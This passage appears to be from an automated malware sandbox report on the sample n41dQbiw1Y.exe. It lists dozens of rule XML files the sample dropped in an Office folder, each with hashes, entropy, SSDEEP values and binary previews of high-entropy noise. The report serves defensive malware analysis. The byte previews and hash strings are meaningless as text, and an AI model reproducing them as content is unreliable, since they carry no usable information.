Preview:	<?xml.2....4..$.[\..p.3D \|.m....\|....^=.-5V.t...kZ..s.(^....`..W.....P>.".;\|._.%....e.e..............6b(v.V.t...;.......f.a....sa-kMO..X.>S..`.;)/0.Z....x...%.V...~cCf+......m..6W.5. T..F_..t.....l..u..._.....]U.I>..OT.....6.46...L.E...pY..2E<...Ho.....z..8..\ ....o.4C............z.E&4...}....".1\|....1..E!..5t...{...."L..,...\|..#...+.5.a.b..9./#?.t.8....\.g.~.....7.....I...5.>O."M.3.&..s.{KN..e..t.I...N....k~..G1.\..^.....}...JGh..+..C5K./.I..eF..q..L.4...g.F=.!.U..P$rtx.,...d.$.Z..+........%...G..?X.S........I..v...Y.fs.g...H....[~.l...y../...5.z..y...$...-..2.U.Y1...O..Ih..e).^.K....Yx._..S.J...^v...$/...k../..D{,....#..F.a].Z@.~..k.k:-U..X".\.9dlw...\|..1W..g6....\7.6.e.V\|..6.....5..4%....T.....r....E.;...,...^...'.. ...#....../=......L...........4..t....N....`.}qGZ....s.n=.W.<.X..;1..-1..OB....$.n.5...{....3..Px...?..).0v......QZ -q[.i..M.}..W.o.\W)X.P.9.pqG..-w.J&.j.P.D.......!...NOr.Sl..........+B.,#nE6)C....._...H50.w..>...t....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700951v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.876126904451312
Encrypted:	false
SSDEEP:	48:hED+83Q4aRWsPWtPiD1hh3d2qZ3WD5L2iNKD:hED+8yWgUPmhh3n3WD5L2T
MD5:	69B05DD7113DD86D136AD47163E73183
SHA1:	FE75DA812E9B1803859292EA05D933B0B148B7D5
SHA-256:	D107A63D905F20D9A7E0FC1AF96436A79DC775A9CC01BDD28798143459BAB2FC
SHA-512:	A57825CB7D0B87E2A8048F2DCE66CA3EB0636086BF1E866E2AEF95B3D548BBDB7E34D5C17129215C5D54C91CF928AD483CDB208AEA2758BD003F0D16BD31200B
Malicious:	false
Preview:	<?xml\..)......$q.oE.>+Jd......D./.......=..c.....hZlu...3z..-....{$.x4i.....j.y?.S0o...?...9`$f.uq.-..Z.E>gw....x..Dn.....,8.vT0.T.%T#...e,...L..9..V..I...&..iu^.P...t..(.....@6U......0O./..t.8.]D..'..i..t..WZ..Oq..8.mX....$..h.j4.xf.^.?..].e.>..C\.B.8.j.5.....E2H.f.s.Zw4bQ;b..YDe....G.oJ...].-..Gf.}\E.b.k......G..zi....IR..V..!..w.l.p..-..j..y,V.E.'...{.5.....)..P....D..\...~~..9....~../.t..........j_uu......MT.?.........h.."z3a..R..tS.,....X.\s......:.~mBVu..s ...WQ<L..`.."]..b`u.^xS.4Ij."g~).7B.g.I...>..0Rp..\|..(.O.h.0Y.....!mWP0_h.\+.Yf+..u?...:..,....t9..ZIJ...}.q.H..R.,....Z.g=."...=.]'..../y9l...>.......q.. gM?..i\|[V...Yw'...K. .GG.b.6S*.F...zzrc..@.9S_.R..7.L(.\|j,0.wq.E6...?...U.m..uL....\|.\|......{..'...O'...!.b.R)e..f.j>#..c.(p...h...a......-.S1..:....-.td....S.&..Q..5....h.....D/..XV.kS.=....+.r..+.MmZ..p1...21.l..Z$....I..6....lg...U..e..9.j.'...j>S...es...d.._s..{W2\|.B..I.;\|.L...3l....._z.....nN.I.FM..5oG..k&.v

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701050v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.882563577692455
Encrypted:	false
SSDEEP:	48:ptn6A2xoyqKnZcG44XU2t8DK9DDb+bkKj6ebLD:fvIoMcbdA8m9ibBj68n
MD5:	2E69A568A9829ED9E757CB8551C1B992
SHA1:	FD96122ED8A1170B29EC28FAD01C330CAA8952F0
SHA-256:	2C96047D146CB7CB7AC20AE9AE6850021433921C8D5607AA48C6DA9E13ABCD03
SHA-512:	86FC57074CB9C1B02565D4AF0AB9616815511B33985AF699648AC2779DFF4FF33D702F505F438AF20D31E387C9E1B878E68144DF2275DAB1C3F0035ADE41F4DC
Malicious:	false
Preview:	<?xml.......{...6,5..m7.z...l0..\+..+f..........4.0..w.X...D{._....q.5#)j.Ft....)j.Z.V...".....Id..J,.N[x?`......'b.7.c..,..W.Z......v.[x..h.q.P.jJa ..6...{...}.-!...U.Z ..vbT.......z..zZ..\|.xmB...Z.....x9@.AO..G....7.iN..$[..y.lp.1.ow8k.t.v...+y.,.1.:RT.MQ...o/}..;.X..v+.....K.$..RBe9.0m..[....Y~....fL%fo.S....DC.x'..\|.....:4.e.....8.U7... .0.S\|.'.......S\1......'$...:.\..m..I;n.T..'.W.f..{^@x...Iz...b@....i...4.`.(L,..)..b.M.\|,.~.$.0...d.qNLFXv..Kn....TquQ...]Gz;.....y.r/.1...8R..m.D`....(\|.C......g..i...(~...`.^.!...t.H.R..d......h...K..@,...Z.. 1+-..+Y...3v..-....5+5.. ..V.^...<..`...^..C.][.*..]{D........JI..Lj.sn.......,..].l.............Q..F"I.2.v......E...fNTNaV!.y.....a..3..M1._..C.v...:.3..Q..!X/.....~Z..#1B...7.3.U...4.:4..bm.W....uh..>+4.k.I7..O....N.(.L...=_...0.q./.....W.+L......9=.z...{1Z~.$..:`......].R.]^.MP.Y.p.$.#..3 .U.u..vp...W/..>.}.6.gHC..jI.M..Tf...........w.o..z.f:;..?..-t.Ew.wi..0D..3t/.....]..B....j-...);L..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701051v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.879785819941179
Encrypted:	false
SSDEEP:	48:XghMkr05csBFTV1Z+CpdgJ0oPPQkAZpcAHgcrpYMaD:Xlw4PBp5+PJ0oPPChgKRy
MD5:	64E5FA576BC7CEFD57072B114E042606
SHA1:	7AAED76474230AB73DC3C06070ABF2AB2883266A
SHA-256:	6612F91675E5237BADDE119F0B42912AC19CD69F941708E16F4CBED9CDC49564
SHA-512:	AF2B8507C128615E84AFE847682209A7436CB1709BD2036D6CB8F4D0D80778060F5E98772ED35347C2C1263A8143C81914D860C31092A96288DF7325A6581F01
Malicious:	false
Preview:	<?xml.".{....._.a.^C.\..P..v....u.Qi.l.U..3f5..r.gt....Fi..}...<m.u-..0X)..7...&....2.>.ATN._....x.......XC.I\|HvLx.18..%.I.^...nY.c..EM4..\odY..08....E..d2.........v35.KS..........)H.A.S.......e.3l}E(.bD...#.0.2#f...5.f.X.....$.\.-$.":.....T.%..`...C/.K....\.q.........9...=....ut.f.{..u>.;=S............>...@.q./8\...q....../........S{...F.].7...rk..\|../...[.-.6.s....\|~\\E.].y$........Y..,.`..{m.0g.]....J..1R...........UC3`n...k..?6WV......5l..k.. ..7..JN.Z..8......6i)..Vc.x.0..<E.d.}~.l....cE....@.....S..\a..m..d....L..2.<....,.8..;NCd..6Q/.zR.o.m...J.a.I1..4y..Ub.F."..F>.".8..^_...73m....OKY..t.}..?...V.-N..EiWN.B.P.....t...W.".%Y.n.A. .<...cQ....@ .\)...[.Q.Fu.o...P.p6...f.3...N.8..B.C3....Z....(,...q..<.....,.\.....q....o?..1.....c.V.-..Hv..G.\.jas.\|..&>.R.'..X....}...D.*Q.B.C...4e.......y.9i..G.].(.k15=...E.Z....\|...J1....4....&#\|.I.f@ RH.......C..Lb...u...'...FR.............F...g...9..A..a@..n.nQ.x..}.]..C.A.'Y.....qg.l

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701100v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.886924248961321
Encrypted:	false
SSDEEP:	48:vwMkl3am/6yVANqxMhg0Xd/Gtwrk1AlHd2WGuikHD:caMmqxMh7fY1GFQ4
MD5:	BA2AD02809380371E33C265026E65D8F
SHA1:	77A7246BF90A84BD7C55D715CEDB701F9C3EB4F1
SHA-256:	9BE3F40F3CEB3B440547D8F10B6537440BEE659F64C9FB320B8012C49F17DBE1
SHA-512:	3C8F94802CEBAD8EAD072935C7DB04ACB2CC6482339DABFC1A54E791AE78396760D6E5B4B19BB77391A742C5D178CFA1362DE9EAC3DCDEC2B0502107D938A6C1
Malicious:	false
Preview:	<?xml..T.v..9d..B5,.....;=....v......*.#.!..L...U.E...(..Pg....{..6q..Z....KP)GE..OA.bI..Q..x.......U.....P..._.. .3...7m.....Tb...'.Y>..>5..Z.6.nDV...._+.U.....w2.a..}P.\|QW)...#W..]o....J).d.f...M_p........Ez..`\.x.p..Cg..c.br...]...e...A.c+.z......Q..f......W`ty......}..{..a..M......pa.......Nb.l.;.o...i.S.>.MX...e......$.@[z......@..j.....m]e.F.....C..... tQQ....\|..-9(9..+W..!...,u.w.....T..#sE....6Zr4..E..AA,^....@...v......6.h?j.7z.8&}...n.3.....6.[..,...&OY5.M... ..gb.N.s.Nz......]<.5'.....:&..R.:.j....&-_.~b._z,..mN...1.....7.kY3./...+.V..I<..z11]B..(...}..=FL...."?..l....fP..0B...4.~n..Y.MvD....5..K.....Q...~JI.]"..w.Y.5........,.JW...I.M.4...6....u\|....6.=.0P.:.Z~l.......P-".o..B.j.Q<"..q.\....=ahO....._...f.p.:4.3..j.G...k.....\|#.......[J...q?w....U..f].2.I..t......7m...H.'..T..&.l.Z.lLf~EW..R5.......\|.. L,^......@.4 ...M5r.Q.3[S.Y3.....}..-{g+.r./y..$>.........KT..".t:..J..a9.f...@.W.....>..2..f.P.@.&.......~.w5...C...l..=.v0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701101v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.8825745886418765
Encrypted:	false
SSDEEP:	48:f5vPPKgOjBYk5xfywOgOIKYpBNZy3kLLcQD:hvPPKgOxvfyw9NK4BNZyEcM
MD5:	2062CC7BB6041D120393E9AD282F6EC8
SHA1:	DC7DC770E2EF87794FAB2E721C05B1932EA9100D
SHA-256:	8EFC01C42DF696EFF4589F7549ED3A01301DC5FE009C93BF032CEF2E521F7CB3
SHA-512:	C42152513AA19C1CE83AEE0FB72F99EFFF8A69EF37516CFB2D05244B6AA5F5E7C353F7DA2A24F27FC14363BA798B868BED9F78ABAF71E8D83E1E12F8F739155D
Malicious:	false
Preview:	<?xml....(>.n.?..W..&)..!9.=......hA...).y.W.N.R...cK.........O....Bk.........}.8w..-.\|49...#.U.S...bY.,.l.$.6'..6c.\..s)D.(.<...p.7..4...!...Z.TU....y.....wG..3.!.C.f..e.A...~...0( ..s.RB..../..R...I..%..\|iP..T.S.(h....-bl.....#B?.........0\|........Y..gE....+'.W..).Tc.,A.g.y.N\.7...1.>...g..Z...t7b6W..Q..d..(.d./i3....?.e..?wD\|ic&.YS.I.l.<.@p..J^.Z.O...X(~..h./.9..3.c....\|2k.,.C.k..\..?.0......].J....N..9.....!r.D.6..d.8.YTi.+./.......:wl&0oy.S.Z..D..IH.....m.\|.@..=..V.E..R....dh.$...Pla^.}f..x.._...c.4....b.<J..V.V9.....#..A....."i.B.M..s....A.Fc..y...D.z.,.e.K2....=Q.....<.~XO.bi&>z..F....h.GQ...v.nf......UY..`}m..-.Y..{.........bP...Z.{..`e...M.L...<1.......J..)..p\C.j3Ju\|....... .............Y.Q.w+....U..w...>......C'..\|......~..;.k...*7..7...X!.0.u.^H.L.....\}.....4.4..u.9._oTJ.4.B.jL...$.F...n5..g..}p.s.....m..A.[.BA#.7..z]F>....6...N.W..f.\|>..H.!W[.......P..Z...<.'.<.Ef".T....Y.E.M...C.....J....a.Z.Dw..7N.ss"....Z.d..2...........l....3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701150v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.894782440120896
Encrypted:	false
SSDEEP:	48:YDcU58aIH1pzLk2nqEfuBrMGda8fRO6iRAK7qcRBaD:W5G1p3vqE2BgIt7AAORBy
MD5:	D9A5E284AF9FE8A9A9C999DAF3ACE9F4
SHA1:	1720BDDBC93600CEAE804A4EF6BD829AFE9A3803
SHA-256:	76BB094C4BDE6A01E9417BCA071CCB942D053B761A5CD680FD28B996F2D00512
SHA-512:	6424DEB21F6A0D69F2CAFD2C60BC477136422994835B799817972C1A78E71E41DCE49D4CC395183204377F8143FC6C39DB4797BAE44FD802EC15260E165F460C
Malicious:	false
Preview:	<?xml..X=No......x.M....B.....R?.....S.\|...2$.R2G....F/....F}..Lz...6.;.K.V..B..(..$....c........$..;.tIC...\|.&..S...)<o..W...6.=..4...R<Q'..[.8..C.A.l5aV.Qb.w.0....k..f.5:.l.4..[....i....N..oZ..h.#v."./...?...1!/...tI.'.b.;.#.n6........5/q....."..`..Yrc.+..g+1.zH.+...;.c..%Dfr.......p...{....~..a.%T.....S..uXa.-o^.v.4....j.`..E8t.@.......Z.)".[...D.!..pW...Q@.z-.x......\f.....%..~..!-..,.pRU=.b....9..>...`(.......2..D.T.i....sa.Q./...."..Z.h.~[.0....AnI...u.....%....r.....a....%....5.%".>w.....[P.x......D0.Y.=;.....O"4.[%.ITe...1...A.26...w.lc.t.....tf.G..0j.4z:./e....0.CN...L{7uc.!.....&^y.os...\|_....cXRJk..k.....1..?w..&..$...1&...7.AJeL..\|...<...>..[.4,..(..He.:..gk...Iy!.u.'..1.:n.......3I?..\|.dtf.T..fJ:..e'..`.<......C,.d..'C&..J.B.<..mi...0e.....n..B.,'K....W;\. OGL.@..N"...e0U..........w,.<._..a.&...I.k..^R.U/<lZ....M.5............Y..t.s..7..Jk...p....X.}N2.oT=.*T..Qui.."h.`..a.......?h..$B[......j$.....;...o/T.r....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701151v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.875370920637511
Encrypted:	false
SSDEEP:	48:d7SFi5ya2YTrtmkiztPYXWzrRZudDM3KZ6GD:tSB6Te9YXWWq3KZF
MD5:	FC10CDB999A299BBD9C37090AE29B8B1
SHA1:	31B42D619D6BEC62379075B8FDF827394F3CE6F0
SHA-256:	44A2D9DB4BE54405750EA48477C6177D051D192BC2929B3BDCD3602483C44C40
SHA-512:	B7B23B616C22EF6A1572E02B7AAB0276929AAF3B5C6B2932510B36E9B1285EE5B0F9E72E5EA862A9B28B9587AB7DCD636E1FFB7667BF744B7AA6812D41AF96BE
Malicious:	false
Preview:	<?xmls..kl..H.....z.Md.1...-...~.w.>......u...R[.9.i...at...E......li6..q^..8n.8.d9.k.4\|......Z..&....,..wz....l...;.}..9nl....i._.~w@..U..\|....%...2.#m.............x..T,....`.H..^#.d6......6..G?..l.._RDy.C..m8.....S....N.<...../f...._{5....{.lWFQg.$%c.#.r.?f. &.R..'.T.i..._...(..d.{...Z_Hz.`....(.e..\.P_.].0.s..K9..g.@....?....GJ4'.3...st..&..0.#j.8q......(... ...o.j.N.)3.x)4....:.1@yP.a8...s...X\.M...(.v.w.2l9.j..f....M.X.....I..~....!..~.r{.U` j..m..7...}.m...5e.B.k..3..Z.Mb...]........+":..%..f<.....0...x_;.Rt.m..A.........=.y.+....q.}..Z....x..^s~....tM.....)j_-"K.x.U....\|..../...K.J..Z..D........Bk....]..`..u{...Qz.:'.G4...E....Kpi.1..g>..A8).E..O..aD......q#.<..).x.y........Z....2.c...}....S......v.h....$.%.O.T.{b..$.<..p. _..B`.E.\a.....B..L...>.....8..Djc......p.fQ.j.......b.z..CA.:....d.\.0...w..}[..xA..<...<..q"...c.E.VP.e7Ov...Y.O..':ca...-..}.Mn..p....'.....5...M.5....M.C..k;...:.Q....0X.n(s3.v.T..\....Y?..p.l.V......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701200v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.894997744389756
Encrypted:	false
SSDEEP:	24:GFYtCNPPXYbHuYXt1OAAlRgbsUKKCpSBIXUPFp9w+MlD/zF9bwRl9SnlgT9HCByv:tKIbHXd1OBasBmKXUPHazL9CikWp0D
MD5:	3C5E96C66724861E40B6495D9C8D82E2
SHA1:	EAD9ACEE6DF3C02C6376CDC67DE5F029132F15C4
SHA-256:	90883EAFC7BB1055EB3187BDCBF5CD8F9DE01ABEA79B885BA816CC1DF1AA3739
SHA-512:	6F3FE804ECED95E00390ED2CD69D0074956F496E83D0851991128F4B25FFF929F89D51EFED07D59D2803C7C4B40621F94AE006C43EA60E718A6B88BA2576E08C
Malicious:	false
Preview:	<?xml&..E.....[&]M...U:VNV...vcD.....)..5.W4G#..m.T....;...J...g....o....+ec.....4..]T:..M....S......(...Q.}.U.{..RO1~........JmsB....}.X......\|.?xGe.b@?.+YnZ..#..\|.....R&.b.....2.Sj.J~.?..}..X...r.....O.)d..Z..W0{.7!\..B\|...$H./S3.JS...L...r...i^T...,\|.A......4...."D>[L..w.<k$.....\$5"a@\|.R.j.@.f.7w.R..x_A......q.wP............F...S...q..PU.....NZj.....g....!^.1`yAq..>...?tl.....A(b.....E,.R...70JHG.l[#c....\-.p.H4....t.........?...f...CG.l....p#.^q9...?.=-....@yG..;....f....A..6..@'.(...\...%..-Z..s......g.ot..q,......up.(..)...f.B....pP.o......i.Q....W........ai.A....9..,.6..6.^Y.'..Z&.mqr.Gc;.SY^P........I@ ^..DM.....W....F(z.....`.4.N.Z..a...nin.?...Zh\I.=.kd:!.R...,.....=5.y....$._.D+...]..e.....s+.=.J.B...x.P.H...e...q......F...R..+_i..g...?.F..i....)`!3.uB.u.Xb....7.`.....5x.az....>b....w..}.....$..2d..N.I..........y...hs.u.X.$.x.8/..JN.].\.XH...]..y.'_..w..X...2].^......}....@.{f.p.X1....V..I.ho.~.FN&^{;....~\|.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701201v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.876729994571478
Encrypted:	false
SSDEEP:	48:w/+5AZMB5YEU3Wd1Fnk+AYZ50fu40aEeD:LAZMB5Yt36956fuTm
MD5:	1F52E87C040DCD08CB9183BA6DB3F5A4
SHA1:	66FB3E0468FDC93A0A4027932B7921E78C3FA184
SHA-256:	53C17DE50898E6B4F27FB096A8BDCD9AB987F86158DC0DC8E31009C8B62E5568
SHA-512:	E9E6E0F7DB566565811D8869CAB6AC617714CE9B9662A7379868151FBB6B6C3EF6BB66C46E9C54C4929ED479CAE86A354AD03826915E1B8E29E2D8E7EDC6A465
Malicious:	false
Preview:	<?xml...3..E7.Co.a.3.3.$.X.....>..c.}.Y4d..O.R./.I..l.".....H...Z!...r...HrF..?..xA.Y....~-.... 8.kW..U..9.g..$...5>bOx..Z{.....o...n.c.....Z.:......x.!l.....Ymv..9.8...D..;..'.\|.G..I..cqBu.1.0;...h....9xF.r...X.L..P...%.W0.....hX>;...UH..Hm.m..B/-A'D.^.}.%..........6..F.D.O.......Hw...h.q..v.?.2\|.nL..E........o#.m........T.@.$.[.z...P.\.K.....N..:-...)I.Xn.f..P.......*,......'..@....vC.1......M.~.X.Mb....w,.Ro[.e..W.....W."j.........r...'.C..o}.-A...F.........-_6..Fx...p5...u...y.\|.c.u..../.E.M...X..2....C.F.~.@...........4..c.YRC........r.`........qU.QC..~.E.y.A........=n..w...yb%_i.>6.X.RQ...........S.BT..$.p.A....>@.........a...q...p`.QeF...?F.h+.._P......h..D..s.1...>V.w[Tf.){.{.....T=..v.....G.v'.{...S.r..)...!{.<..../R}&.p.P.5Nw...Z.\|}.kht.....PN.....h`.zgl".M..f_3..<.E....l..).V+..Y.....o...bp3.X..w..m!.b....v.mQ.,..].........N.`.s......B.t..f..{wBT..4(.I...=u.....S.qH$.=uv.A..RlK9`.Z{p$..Sh.".)....{6\..[...G}...4...QWa.G{.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701250v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.879666565164133
Encrypted:	false
SSDEEP:	48:3ErjWTpiqu8X3HinTUjCztU9OqPX3tViEP9D:EUiX23C4lgqF
MD5:	6F359697F0477C4E0F03D784D30771EC
SHA1:	E718B66483407E917B975A841FE4E12DD6FAB100
SHA-256:	E8CE8A58597FD9BA6A84CD759217E7BC649C9344C496D811BEE81FDB8B471E3E
SHA-512:	79479785E42E50D4CC45F247B38428F36290FE79785964803E603731C30648535C68CA4F9C8F4B52CE98A939EA742584BD454BC2D654D48AF897984AABC5D1FE
Malicious:	false
Preview:	<?xml.7...Dm.1Y.]V..d...tJ.6.TX...<(...}7r.f....r.cW%fmM...`.7...a.Ns}...H.....h...qn.)]".c.e_L...B.@..z....Yr{.0.k.v...R..4..k..5e.k.oH...e.3=:'O!.l.m%NM..#2..<.m...h.....H26?".[ H.........YX...\|.S....`...e...)i...x .sp...Iv......}C.#T'Vd.... ..J.^E.S.L..g.~...v...K9..oY...[.;.5&q.../.7,...y......}L./.\|v..]..TC@..\|.SP1../..=Vy..$....M.;.Z..C6 ........x...R;......m.P.W...F....y.K..T!/.34.B...k&.N[..Et.SV......y.z/.....JF...m.Q.$.l~..`Zr.lLy..IZ.&...T..).i].@-.v....>M.I.E...HO......F.G. .w...b/..2..P....0....i.F......C..b.k`......{....\|.]Q..M......]`He.\.#.Yc+.....^...kg_..Q...E.Xs.Q#.....@$...-.u..eT:z....{ch&..... 9f....\|Rq....n..4A..(h...-..&SH.T.G.....k?6...X..n...r3,.0...^...B.#S.:...:.....@..+.w~[.....,..Dq@....T.A4 .}..._Y{....,v...J+.kN".W...5.l..i..S..D./rV......"a.y..2...........~..-.$5"..q....x..2.G`...-.X8.........(m.p...1N.0..n.}_p_"..O6.h.....;......6...~l...5.1.-...4.H...I..ep:..g.#.\r.u.{Ie.0%..8O%.n..'.q....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701251v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.894335561195013
Encrypted:	false
SSDEEP:	48:AAmuABynRF4I0THItqxkbW+KZCkYM3xLCk/8FIdlLsoX0KD:DqBynRazHItqxkagkH3Xh
MD5:	1A347CC458D84FD74252352092BF7683
SHA1:	0B4071B05F65A7A4509AFEFD43578F937754C814
SHA-256:	AF9A757A85C108135E9C578A588F189AB99155416BCBCA0B5F8DEB6548B48275
SHA-512:	13DCB7B3216A137AC4FE75255C8A2D4D43E9AAA74FBBAFB66572A62B1F3352EA63D5CA8294C8627AC8CA35D400F3EDF81DA1F566927B9266E6C99C170E37E8A0
Malicious:	false
Preview:	<?xml=.U.9....m..\2Y'?]..FmK.v..X.QR.F..\..o.....'....2...[i.2...N.=...&ZV(.@..M......RS...!....;...L.:Q.[..g....&..b.?......Z.`&n......\....O.]..=.....J/%V.7.K..<..F..f....rCI.^...X..^/....R..WR....E.\|..eDjw .........../-Z.)..].\|..../...d.w.Rp..j..v.......h......w...z..S........,G.%?..-2.d#.@....fU......B=..C.$^._o..........IF..^..u....-.n...R$.L~;y.GY...J...Id.....h..&..(F..V...D...Fn..f{2j,}..QFo...(..C^(.@...j:...N....{.,...g.b.....oN........11.n...&.Ng......$.\|...a..?......<.9.[QN.vgk.B.../C......v...A.4.....J.oBPE.c...\|...Hl...}>...\|...e....U...gi{...L..$...{...Y....../..K..g:....D.V.y..V...<5.J....d.O8.(.G.K.f5..o.3.2...{.H..;yby).9f;.....9......o.:..{_.......$[x..zb.7.....j.V........)....\|1..42y........B.Y....0V.\.Z._..j....V.h..L..R.{$..me...LH*Z...B5..H..j?..F[yz?..Av=..Bp..e.w..=}...3..[.Sti+H....a4$...G..k.n/!..ao..e.._.g../. ...J..o. @.X....P.....S.T..St...~.c.....D..^S.z.GF...Q...#.`C.$.K..}...x..x:..6...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701300v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.886772171160874
Encrypted:	false
SSDEEP:	48:2utkVg2OdtPgSp1djg7p26ndvcN1tLbQ1roOD:2ckOhRdjOp2CdvwU1k2
MD5:	B70DC4E15ABA452F6107EEBE330D5FB2
SHA1:	0775269D47F1F0A895B6FBF9A592D03000B734BA
SHA-256:	A8539E4CF3A5B0EE01206E85E055FFDF6C2D8B033FE0ECF1C1D4E60FA06D9CDB
SHA-512:	94FEF2824F190F06EE6EA374536FA219DDD9859E5CDDAAFB9111A576D077B83616DC9F996CF072B3A32EB7AA7DC727A93FFDC45D7950B710B860B2E39422D9D1
Malicious:	false
Preview:	<?xml.T2..pq..Q.........B...c...O..R#C..x[.....D`................Db.P1.1...h..6E....7.e...D......jY.!..k.U-.9k{.6[.......@.....?R.#..2_..?.A/....8. .3.7D.+..J..7..#0h.0dN.ol.....n.<.#Y.L....&#.{{.1......"y...C...z.'A..:.\3..F.._D&8x'..;..P...@....;.@..+]....].f.Zq(}.W .!r...v......C,...a.v.y.>.&F..4.....u..<......Z.D^..'...".[k...E...>.Y.%+....Z29O.d..l..,.%E....%.....f..../R..92N....O....'.;..4O..9.,W..'...(....&.-.....D...O.4..J...m.f.qOnm.C..X,........."...m.a...Z.......A...+.../../......V....{@..<.e..k..I......i..........,.{...r..;UR..,....e....M........r8z.u....I....F!K.x..P&....~.;.$........j..4...k.p..I.[Z>..'.7...:.....:.p.#.R.C9.-..r.@ee)..Q...q..M4I..O..N;..8.S..=..........eh-...]..'..>@)..;..3...W.Da.@...... .....\.....$.....q.I/.J..Y....+ Z@%.x......l..~x:...y.m.x..a4.8.G.3.."\|.N........8..L.....6`....F...2.p..nu.t...Z.s..>x.......LMu.V.x....i...:...kW..].'..$..8...\|?j ..".]....U.KO..J..0..{.u\|....JV..#b...#N.q.....!g&.z.B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701301v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.883996984559421
Encrypted:	false
SSDEEP:	48:qEw7lIkvOJaQbIOUU6UBOLYY3cx2/viuY7YL1D:qEwdwlbIdU624sx2/auY4N
MD5:	CFFAF7D35490B6336B9B3FD9F3DDC0D7
SHA1:	DAB29BCC9C7CFB41756C4A21D746470EDDF80E60
SHA-256:	C14F584742F19E628D67602CF560AE2B272EAD46CEF855110E48A5AE9CF76A15
SHA-512:	E4291FFB5C1717793609EA08F2D78B46B2D3D9B27E3FD3860F9BDD5B3F97E6A9C98F3719A4232C7C777BB2B5BE167E153E53F68D1B06B97D8AF492E423E6B5F2
Malicious:	false
Preview:	<?xml.,..2.x..aaQ...AV...s=.^0..Bs[..........eL....-m..J..2JRz.....-..wn....X.&......(+......'aU.u.D...#E.;.t..q'.)Bm...xh....\(.gOx...TU.M=.....-..`,6:6z/.@............2....@.....s.i.P\G.5..-z..'..Z>T.,.s.a.P........F....f.2:LI..l.`...Y...e40.'.-Z....>..x...Z].sz..S.....O..'....wf\..\...m.&I..Y..n.I...'N...G...{.."@.x..3...p...>.a.Nvq....6.bS...y.pt.A.`.C.u.U..'..\|).UX..D.F6.x...T.q...:.a.D6^....(...v.\.-..Z..$....-.\|....Wb.Tm...3.....8.....H...2.$Iu...;Q.N3.3.=..._.%;m...P...M2.(.....Cr...s...].)...oiv."w3R.'T..t......,o>....:[...Z2.is......Zw...6...B."....0 .\.4".W..~wmWxe...5.B..].x.D..>...d....kx.-M.Ry:..\|...F....8.q...W)Pb...%..1L.O3..1)..j.9...`In-...7..tW.....d<1......am.dA.... !..c..pz..a..Q.....e4..1.}...CW.@T...!...X..r....X?Z....eMO3d..]b.........;2..x.$..4...t..}e.Q7.u(.5..V..[>m..).H.0<.h.R.....VH.x_..Wx\|.:S..a.;.........V].).Y./..."[F..+...".5y..=..y.0.....)/Y..?..GN.>......Dx..?..v..t&.......*..p..u.=.3.;.=...M&.@...B.#..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701350v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.880844234686015
Encrypted:	false
SSDEEP:	48:iOUY5Ek5D/72FcvAbmPQ3MO57+2YAD7OVs6gD:9D5jHCcvAbmIcg62YArL
MD5:	1055D871A3E0B47B210D73BC2A614EA7
SHA1:	30D18BE2E2F49D264D88076BFCDCC8EB2D0C3375
SHA-256:	25344B8E13A034352D5A34A44F222356A047623042A6010A7891C86083B4DBFE
SHA-512:	E2992BFE80C9C04AC88C9E7BE52593E8F2F9DB7C846D88DB2B45E3CA3B6E7C70704A13E2D34689BA92BB23862FF0C803CCCB6C59E3737221A9ED375B82F1A7EE
Malicious:	false
